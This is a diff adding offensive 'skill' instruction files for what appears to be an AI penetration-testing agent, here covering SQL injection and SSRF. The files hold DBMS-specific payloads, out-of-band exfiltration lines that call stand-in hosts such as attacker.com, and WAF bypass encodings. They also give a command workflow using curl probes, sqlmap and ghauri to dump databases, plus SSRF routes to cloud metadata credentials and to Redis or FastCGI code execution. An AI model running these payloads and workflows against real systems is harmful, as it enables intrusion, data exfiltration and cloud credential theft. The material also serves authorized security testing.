  290. package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
  291. package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
  292. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  293. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  294. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  295. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  296. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  297. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  298. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  346. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,313 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: sql-injection
5
+ description: SQL injection testing covering union, blind, error-based, and ORM bypass techniques
6
+ ---
7
+
8
+ # SQL Injection
9
+
10
+ SQLi remains one of the most durable and impactful vulnerability classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.
11
+
12
+ ## Attack Surface
13
+
14
+ **Databases**
15
+ - Classic relational: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
16
+ - Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
17
+
18
+ **Integration Paths**
19
+ - ORMs, query builders, stored procedures
20
+ - Search servers, reporting/exporters
21
+
22
+ **Input Locations**
23
+ - Path/query/body/header/cookie
24
+ - Mixed encodings (URL, JSON, XML, multipart)
25
+ - Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
26
+ - Query builders: `whereRaw`/`orderByRaw`, string templates in ORMs
27
+ - JSON coercion or array containment operators
28
+ - Batch/bulk endpoints and report generators that embed filters directly
29
+
30
+ ## Detection Channels
31
+
32
+ **Error-Based**
33
+ - Provoke type/constraint/parser errors revealing stack/version/paths
34
+
35
+ **Boolean-Based**
36
+ - Pair requests differing only in predicate truth
37
+ - Diff status/body/length/ETag
38
+
39
+ **Time-Based**
40
+ - `SLEEP`/`pg_sleep`/`WAITFOR`
41
+ - Use subselect gating to avoid global latency noise
42
+
43
+ **Out-of-Band (OAST)**
44
+ - DNS/HTTP callbacks via DB-specific primitives
45
+
46
+ ## DBMS Primitives
47
+
48
+ ### MySQL
49
+
50
+ - Version/user/db: `@@version`, `database()`, `user()`, `current_user()`
51
+ - Error-based: `extractvalue()`/`updatexml()` (older), JSON functions for error shaping
52
+ - File IO: `LOAD_FILE()`, `SELECT ... INTO DUMPFILE/OUTFILE` (requires FILE privilege, secure_file_priv)
53
+ - OOB/DNS: `LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))`
54
+ - Time: `SLEEP(n)`, `BENCHMARK`
55
+ - JSON: `JSON_EXTRACT`/`JSON_SEARCH` with crafted paths; GIS funcs sometimes leak
56
+
57
+ ### PostgreSQL
58
+
59
+ - Version/user/db: `version()`, `current_user`, `current_database()`
60
+ - Error-based: raise exception via unsupported casts or division by zero; `xpath()` errors in xml2
61
+ - OOB: `COPY (program ...)` or dblink/foreign data wrappers (when enabled); http extensions
62
+ - Time: `pg_sleep(n)`
63
+ - Files: `COPY table TO/FROM '/path'` (requires superuser), `lo_import`/`lo_export`
64
+ - JSON/JSONB: operators `->`, `->>`, `@>`, `?|` with lateral/CTE for blind extraction
65
+
66
+ ### MSSQL
67
+
68
+ - Version/db/user: `@@version`, `db_name()`, `system_user`, `user_name()`
69
+ - OOB/DNS: `xp_dirtree`, `xp_fileexist`; HTTP via OLE automation (`sp_OACreate`) if enabled
70
+ - Exec: `xp_cmdshell` (often disabled), `OPENROWSET`/`OPENDATASOURCE`
71
+ - Time: `WAITFOR DELAY '0:0:5'`; heavy functions cause measurable delays
72
+ - Error-based: convert/parse, divide by zero, `FOR XML PATH` leaks
73
+
74
+ ### Oracle
75
+
76
+ - Version/db/user: banner from `v$version`, `ora_database_name`, `user`
77
+ - OOB: `UTL_HTTP`/`DBMS_LDAP`/`UTL_INADDR`/`HTTPURITYPE` (permissions dependent)
78
+ - Time: `dbms_lock.sleep(n)`
79
+ - Error-based: `to_number`/`to_date` conversions, `XMLType`
80
+ - File: `UTL_FILE` with directory objects (privileged)
81
+
82
+ ## Key Vulnerabilities
83
+
84
+ ### UNION-Based Extraction
85
+
86
+ - Determine column count and types via `ORDER BY n` and `UNION SELECT null,...`
87
+ - Align types with `CAST`/`CONVERT`; coerce to text/json for rendering
88
+ - When UNION is filtered, switch to error-based or blind channels
89
+
90
+ ### Blind Extraction
91
+
92
+ - Branch on single-bit predicates using `SUBSTRING`/`ASCII`, `LEFT`/`RIGHT`, or JSON/array operators
93
+ - Binary search on character space for fewer requests
94
+ - Encode outputs (hex/base64) to normalize
95
+ - Gate delays inside subqueries to reduce noise: `AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)`
96
+
97
+ ### Out-of-Band
98
+
99
+ - Prefer OAST to minimize noise and bypass strict response paths
100
+ - Embed data in DNS labels or HTTP query params
101
+ - MSSQL: `xp_dirtree \\\\<data>.attacker.tld\\a`
102
+ - Oracle: `UTL_HTTP.REQUEST('http://<data>.attacker')`
103
+ - MySQL: `LOAD_FILE` with UNC path
104
+
105
+ ### Write Primitives
106
+
107
+ - Auth bypass: inject OR-based tautologies or subselects into login checks
108
+ - Privilege changes: update role/plan/feature flags when UPDATE is injectable
109
+ - File write: `INTO OUTFILE`/`DUMPFILE`, `COPY TO`, `xp_cmdshell` redirection
110
+ - Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
111
+
112
+ ### ORM and Query Builders
113
+
114
+ - Dangerous APIs: `whereRaw`/`orderByRaw`, string interpolation into LIKE/IN/ORDER clauses
115
+ - Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
116
+ - JSON containment operators exposed by ORMs (e.g., `@>` in PostgreSQL) with raw fragments
117
+ - Parameter mismatch: partial parameterization where operators or lists remain unbound (`IN (...)`)
118
+
119
+ ### Uncommon Contexts
120
+
121
+ - ORDER BY/GROUP BY/HAVING with `CASE WHEN` for boolean channels
122
+ - LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
123
+ - Full-text/search helpers: `MATCH AGAINST`, `to_tsvector`/`to_tsquery` with payload mixing
124
+ - XML/JSON functions: error generation via malformed documents/paths
125
+
126
+ ## Bypass Techniques
127
+
128
+ **Whitespace/Spacing**
129
+ - `/**/`, `/**/!00000`, comments, newlines, tabs
130
+ - `0xe3 0x80 0x80` (ideographic space)
131
+
132
+ **Keyword Splitting**
133
+ - `UN/**/ION`, `U%4eION`, backticks/quotes, case folding
134
+
135
+ **Numeric Tricks**
136
+ - Scientific notation, signed/unsigned, hex (`0x61646d696e`)
137
+
138
+ **Encodings**
139
+ - Double URL encoding, mixed Unicode normalizations (NFKC/NFD)
140
+ - `char()`/`CONCAT_ws` to build tokens
141
+
142
+ **Clause Relocation**
143
+ - Subselects, derived tables, CTEs (`WITH`), lateral joins to hide payload shape
144
+
145
+ ## Testing Methodology
146
+
147
+ 1. **Identify query shape** - SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET
148
+ 2. **Determine input influence** - User input in identifiers vs values
149
+ 3. **Confirm injection class** - Reflective errors, boolean diffs, timing, or out-of-band callbacks
150
+ 4. **Choose quietest oracle** - Prefer error-based or boolean over noisy time-based
151
+ 5. **Establish extraction channel** - UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS
152
+ 6. **Pivot to metadata** - version, current user, database name
153
+ 7. **Target high-value tables** - auth bypass, role changes, filesystem access if feasible
154
+
155
+ ## Validation
156
+
157
+ 1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates
158
+ 2. Extract verifiable metadata (version, current user, database name) using the established channel
159
+ 3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope
160
+ 4. Provide reproducible requests that differ only in the injected fragment
161
+ 5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant)
162
+
163
+ ## False Positives
164
+
165
+ - Generic errors unrelated to SQL parsing or constraints
166
+ - Static response sizes due to templating rather than predicate truth
167
+ - Artificial delays from network/CPU unrelated to injected function calls
168
+ - Parameterized queries with no string concatenation, verified by code review
169
+
170
+ ## Impact
171
+
172
+ - Direct data exfiltration and privacy/regulatory exposure
173
+ - Authentication and authorization bypass via manipulated predicates
174
+ - Server-side file access or command execution (platform/privilege dependent)
175
+ - Persistent supply-chain impact via modified data, jobs, or procedures
176
+
177
+ ## Pro Tips
178
+
179
+ 1. Pick the quietest reliable oracle first; avoid noisy long sleeps
180
+ 2. Normalize responses (length/ETag/digest) to reduce variance when diffing
181
+ 3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise
182
+ 4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available
183
+ 5. Treat ORMs as thin wrappers: raw fragments often slip through; audit `whereRaw`/`orderByRaw`
184
+ 6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly
185
+ 7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels
186
+ 8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types
187
+ 9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly
188
+ 10. Document exact query shapes; defenses must match how the query is constructed, not assumptions
189
+
190
+ ## Concrete Testing Workflow (Step-by-Step Commands)
191
+
192
+ This is the mandatory execution sequence. Parameter discovery → manual probe → tool confirmation.
193
+ Do NOT run sqlmap/ghauri as the first step. Discovery comes first.
194
+
195
+ ### PHASE A — Parameter Discovery (find injectable candidates)
196
+
197
+ STEP A1: Extract SQLi candidate URLs from historical/crawled URL collections:
198
+ cat output/urls_all_deduped.txt | gf sqli | sort -u > output/sqli_candidates.txt
199
+ cat output/historical_urls.txt | gf sqli | sort -u >> output/sqli_candidates.txt
200
+ # gf sqli pattern matches params like: id=, uid=, user_id=, order=, sort=, page=, ref=
201
+
202
+ STEP A2: Discover hidden parameters on interesting endpoints using arjun:
203
+ # Run AFTER identifying specific endpoints from recon (not on every URL)
204
+ arjun -u "http://target.com/api/products" -o output/arjun_products.json --stable
205
+ arjun -u "http://target.com/search" -m GET -o output/arjun_search.json --stable
206
+ # arjun finds params the app accepts even if not shown in URL
207
+
208
+ STEP A3: Hidden parameter discovery with x8 (faster, for wordlist-based probing):
209
+ x8 -u "http://target.com/api/v1/user" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
210
+ -o output/x8_user_params.txt
211
+ x8 -u "http://target.com/search?q=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
212
+ -o output/x8_search_params.txt
213
+
214
+ STEP A4: Route all discovery traffic through Caido:
215
+ arjun -u "http://target.com/api/products" --proxy http://127.0.0.1:48080 -o output/arjun_products.json
216
+ x8 -u "http://target.com/search" --proxy http://127.0.0.1:48080 -o output/x8_search.txt
217
+ # Caido captures all probe requests for later review
218
+
219
+ ### PHASE B — Manual Probe (confirm before scanning)
220
+
221
+ STEP B1: For each candidate parameter, send the three classic probes:
222
+ # Single quote probe (syntax error?)
223
+ curl -sk "http://target.com/search?q=test'" | grep -iE "error|sql|mysql|postgres|syntax|warning"
224
+
225
+ # Boolean tautology vs contradiction (different response?)
226
+ curl -sk "http://target.com/items?id=1 AND 1=1" > /tmp/true_response.txt
227
+ curl -sk "http://target.com/items?id=1 AND 1=2" > /tmp/false_response.txt
228
+ diff /tmp/true_response.txt /tmp/false_response.txt
229
+ # If diff shows meaningful difference: strong SQLi signal
230
+
231
+ # Time probe (DBMS-agnostic, start with short delay)
232
+ time curl -sk "http://target.com/items?id=1; SELECT SLEEP(3)--" -o /dev/null
233
+ # If response takes ≥3s longer: time-based SQLi confirmed
234
+
235
+ STEP B2: Route probes through Caido to capture evidence:
236
+ curl -sk -x http://127.0.0.1:48080 "http://target.com/search?q=test'" > /dev/null
237
+ curl -sk -x http://127.0.0.1:48080 "http://target.com/items?id=1 AND 1=1" > /dev/null
238
+ # Query Caido to compare responses:
239
+ curl -sL -X POST http://127.0.0.1:48080/graphql \
240
+ -H "Content-Type: application/json" \
241
+ -H "Authorization: Bearer $TOKEN" \
242
+ -d '{"query":"{ requests(filter: {host: {eq: \"target.com\"}, path: {cont: \"search\"}}) { edges { node { id path response { statusCode length } } } } }"}'
243
+
244
+ STEP B3: Document confirmed signal before proceeding:
245
+ # REQUIRED: Record in output/sqli_confirmed.txt:
246
+ echo "TARGET: http://target.com/items?id=1" >> output/sqli_confirmed.txt
247
+ echo "PARAM: id" >> output/sqli_confirmed.txt
248
+ echo "SIGNAL: AND 1=1 vs AND 1=2 — response body length differs by 847 bytes" >> output/sqli_confirmed.txt
249
+ echo "DBMS_GUESS: MySQL (SLEEP function responded)" >> output/sqli_confirmed.txt
250
+
251
+ ### PHASE C — Tool-Assisted Exploitation (only after Phase B confirms a parameter)
252
+
253
+ STEP C1: Run sqlmap on the confirmed parameter:
254
+ sqlmap -u "http://target.com/items?id=1" \
255
+ -p id \
256
+ --batch --level=1 --risk=1 \
257
+ --proxy http://127.0.0.1:48080 \
258
+ --output-dir output/sqlmap/
259
+
260
+ # If basic fails, escalate:
261
+ sqlmap -u "http://target.com/items?id=1" \
262
+ -p id \
263
+ --batch --level=3 --risk=2 \
264
+ --proxy http://127.0.0.1:48080 \
265
+ --output-dir output/sqlmap/
266
+
267
+ STEP C2: For POST body parameters:
268
+ sqlmap -u "http://target.com/login" \
269
+ --data "username=admin&password=test" \
270
+ -p username \
271
+ --batch --level=2 \
272
+ --proxy http://127.0.0.1:48080 \
273
+ --output-dir output/sqlmap/
274
+
275
+ STEP C3: Use ghauri as WAF-evasive alternative:
276
+ ghauri -u "http://target.com/items?id=1" \
277
+ --dbs --batch \
278
+ --proxy http://127.0.0.1:48080
279
+
280
+ STEP C4: After confirmation, extract database metadata:
281
+ sqlmap -u "<confirmed_injectable_url>" \
282
+ --dbs --batch \
283
+ --proxy http://127.0.0.1:48080 \
284
+ --output-dir output/sqlmap/
285
+
286
+ ### PHASE D — Verification and PoC Documentation
287
+
288
+ STEP D1: Replay the confirmed injection in Caido to capture clean evidence:
289
+ # Use Caido Replay to send the exact injection manually
290
+ # This creates a clean, reproducible request/response pair as evidence
291
+
292
+ STEP D2: Extract verifiable data (version, current user, database name):
293
+ sqlmap -u "<confirmed_url>" \
294
+ --current-user --current-db --hostname \
295
+ --batch --proxy http://127.0.0.1:48080 \
296
+ --output-dir output/sqlmap/
297
+ # Document exact output in your report
298
+
299
+ STEP D3: Construct impact-demonstrating PoC for the report:
300
+ # For boolean-based blind: show the predicate toggle
301
+ curl "http://target.com/items?id=1 AND 1=1" → [200, N bytes with content]
302
+ curl "http://target.com/items?id=1 AND 1=2" → [200, M bytes empty/different]
303
+ # Difference in bytes = the boolean oracle
304
+
305
+ STEP D4: Only call create_vulnerability_report after:
306
+ - sqlmap/ghauri confirms injection (not just manual probe)
307
+ - At least one piece of verifiable data extracted (version, user, table name)
308
+ - Exact URL, parameter, injection type, and extraction result documented
309
+ - Reproducible curl command that demonstrates the behavioral difference
310
+
311
+ ## Summary
312
+
313
+ Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.
@@ -0,0 +1,183 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: ssrf
5
+ description: SSRF testing for cloud metadata access, internal service discovery, and protocol smuggling
6
+ ---
7
+
8
+ # SSRF
9
+
10
+ Server-Side Request Forgery enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.
11
+
12
+ ## Attack Surface
13
+
14
+ **Scope**
15
+ - Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
16
+ - Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
17
+ - Service-to-service hops through gateways and sidecars (envoy/nginx)
18
+ - Cloud and platform metadata endpoints, instance services, and control planes
19
+
20
+ **Direct URL Params**
21
+ - `url=`, `link=`, `fetch=`, `src=`, `webhook=`, `avatar=`, `image=`
22
+
23
+ **Indirect Sources**
24
+ - Open Graph/link previews, PDF/image renderers
25
+ - Server-side analytics (Referer trackers), import/export jobs
26
+ - Webhooks/callback verifiers
27
+
28
+ **Protocol-Translating Services**
29
+ - PDF via wkhtmltopdf/Chrome headless, image pipelines
30
+ - Document parsers, SSO validators, archive expanders
31
+
32
+ **Less Obvious**
33
+ - GraphQL resolvers that fetch by URL
34
+ - Background crawlers, repository/package managers (git, npm, pip)
35
+ - Calendar (ICS) fetchers
36
+
37
+ ## High-Value Targets
38
+
39
+ ### AWS
40
+
41
+ - IMDSv1: `http://169.254.169.254/latest/meta-data/` → `/iam/security-credentials/{role}`, `/user-data`
42
+ - IMDSv2: requires token via PUT `/latest/api/token` with header `X-aws-ec2-metadata-token-ttl-seconds`, then include `X-aws-ec2-metadata-token` on subsequent GETs
43
+ - If sink cannot set headers or methods, seek intermediaries that can
44
+ - ECS/EKS task credentials: `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`
45
+
46
+ ### GCP
47
+
48
+ - Endpoint: `http://metadata.google.internal/computeMetadata/v1/`
49
+ - Required header: `Metadata-Flavor: Google`
50
+ - Target: `/instance/service-accounts/default/token`
51
+
52
+ ### Azure
53
+
54
+ - Endpoint: `http://169.254.169.254/metadata/instance?api-version=2021-02-01`
55
+ - Required header: `Metadata: true`
56
+ - MSI OAuth: `/metadata/identity/oauth2/token`
57
+
58
+ ### Kubernetes
59
+
60
+ - Kubelet: 10250 (authenticated) and 10255 (deprecated read-only)
61
+ - Probe `/pods`, `/metrics`, exec/attach endpoints
62
+ - API server: `https://kubernetes.default.svc/`
63
+ - Authorization often needs service account token; SSRF that propagates headers/cookies may reuse them
64
+ - Service discovery: attempt cluster DNS names (`svc.cluster.local`) and default services (kube-dns, metrics-server)
65
+
66
+ ### Internal Services
67
+
68
+ - Docker API: `http://localhost:2375/v1.24/containers/json` (no TLS variants often internal-only)
69
+ - Redis/Memcached: `dict://localhost:11211/stat`, gopher payloads to Redis on 6379
70
+ - Elasticsearch/OpenSearch: `http://localhost:9200/_cat/indices`
71
+ - Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
72
+ - FastCGI/PHP-FPM: `gopher://localhost:9000/` (craft records for file write/exec when app routes to FPM)
73
+
74
+ ## Key Vulnerabilities
75
+
76
+ ### Protocol Exploitation
77
+
78
+ **Gopher**
79
+ - Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI)
80
+ - Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
81
+
82
+ **File and Wrappers**
83
+ - `file:///etc/passwd`, `file:///proc/self/environ` when libraries allow file handlers
84
+ - `jar:`, `netdoc:`, `smb://` and language-specific wrappers (`php://`, `expect://`) where enabled
85
+
86
+ ### Address Variants
87
+
88
+ - Loopback: `127.0.0.1`, `127.1`, `2130706433`, `0x7f000001`, `::1`, `[::ffff:127.0.0.1]`
89
+ - RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16
90
+ - Test IPv6-mapped and mixed-notation forms
91
+
92
+ ### URL Confusion
93
+
94
+ - Userinfo and fragments: `http://internal@attacker/` or `http://attacker#@internal/`
95
+ - Scheme-less/relative forms the server might complete internally: `//169.254.169.254/`
96
+ - Trailing dots and mixed case: `internal.` vs `INTERNAL`, Unicode dot lookalikes
97
+
98
+ ### Redirect Abuse
99
+
100
+ - Allowlist only applied pre-redirect: 302 from attacker → internal host
101
+ - Test multi-hop and protocol switches (http→file/gopher via custom clients)
102
+
103
+ ### Header and Method Control
104
+
105
+ - Some sinks reflect or allow CRLF-injection into the request line/headers
106
+ - If arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
107
+
108
+ ## Bypass Techniques
109
+
110
+ **Address Encoding**
111
+ - Decimal, hex, octal representations of IP addresses
112
+ - IPv6 variants, IPv4-mapped IPv6, mixed notation
113
+
114
+ **DNS Rebinding**
115
+ - First resolution returns allowed IP, second returns internal target
116
+ - Use short TTL DNS records under attacker control
117
+
118
+ **URL Parser Differentials**
119
+ - Different parsing between allowlist checker and actual fetcher
120
+ - Exploit inconsistencies in scheme, host, port, path handling
121
+
122
+ **Redirect Chains**
123
+ - Initial URL passes allowlist, redirect targets internal host
124
+ - Protocol downgrade/upgrade through redirects
125
+
126
+ ## Blind SSRF
127
+
128
+ - Use OAST (DNS/HTTP) to confirm egress
129
+ - Derive internal reachability from timing, response size, TLS errors, and ETag differences
130
+ - Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
131
+
132
+ ## Chaining Attacks
133
+
134
+ - SSRF → Metadata creds → cloud API access (list buckets, read secrets)
135
+ - SSRF → Redis/FCGI/Docker → file write/command execution → shell
136
+ - SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral movement
137
+
138
+ ## Testing Methodology
139
+
140
+ 1. **Identify surfaces** - Every user-influenced URL/host/path across web/mobile/API and background jobs
141
+ 2. **Establish oracle** - Quiet OAST DNS/HTTP callbacks first
142
+ 3. **Internal addressing** - Pivot to loopback, RFC1918, link-local, IPv6, hostnames
143
+ 4. **Protocol variations** - Test gopher, file, dict where supported
144
+ 5. **Parser differentials** - Test across frameworks, CDNs, and language libraries
145
+ 6. **Redirect behavior** - Single-hop, multi-hop, protocol switches
146
+ 7. **Header/method control** - Can you influence request headers or HTTP method?
147
+ 8. **High-value targets** - Metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels
148
+
149
+ ## Validation
150
+
151
+ 1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences)
152
+ 2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service
153
+ 3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read
154
+ 4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior
155
+
156
+ ## False Positives
157
+
158
+ - Client-side fetches only (no server request)
159
+ - Strict allowlists with DNS pinning and no redirect following
160
+ - SSRF simulators/mocks returning canned responses without real egress
161
+ - Blocked egress confirmed by uniform errors across all targets and protocols
162
+
163
+ ## Impact
164
+
165
+ - Cloud credential disclosure with subsequent control-plane/API access
166
+ - Access to internal control panels and data stores not exposed publicly
167
+ - Lateral movement into Kubernetes, service meshes, and CI/CD
168
+ - RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
169
+
170
+ ## Pro Tips
171
+
172
+ 1. Prefer OAST callbacks first; then iterate on internal addressing and protocols
173
+ 2. Test IPv6 and mixed-notation addresses; filters often ignore them
174
+ 3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs
175
+ 4. Redirects are leverage: control both the initial allowlisted host and the next hop
176
+ 5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them
177
+ 6. Use tiny payloads and tight timeouts to map ports with minimal noise
178
+ 7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability
179
+ 8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there
180
+
181
+ ## Summary
182
+
183
+ Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.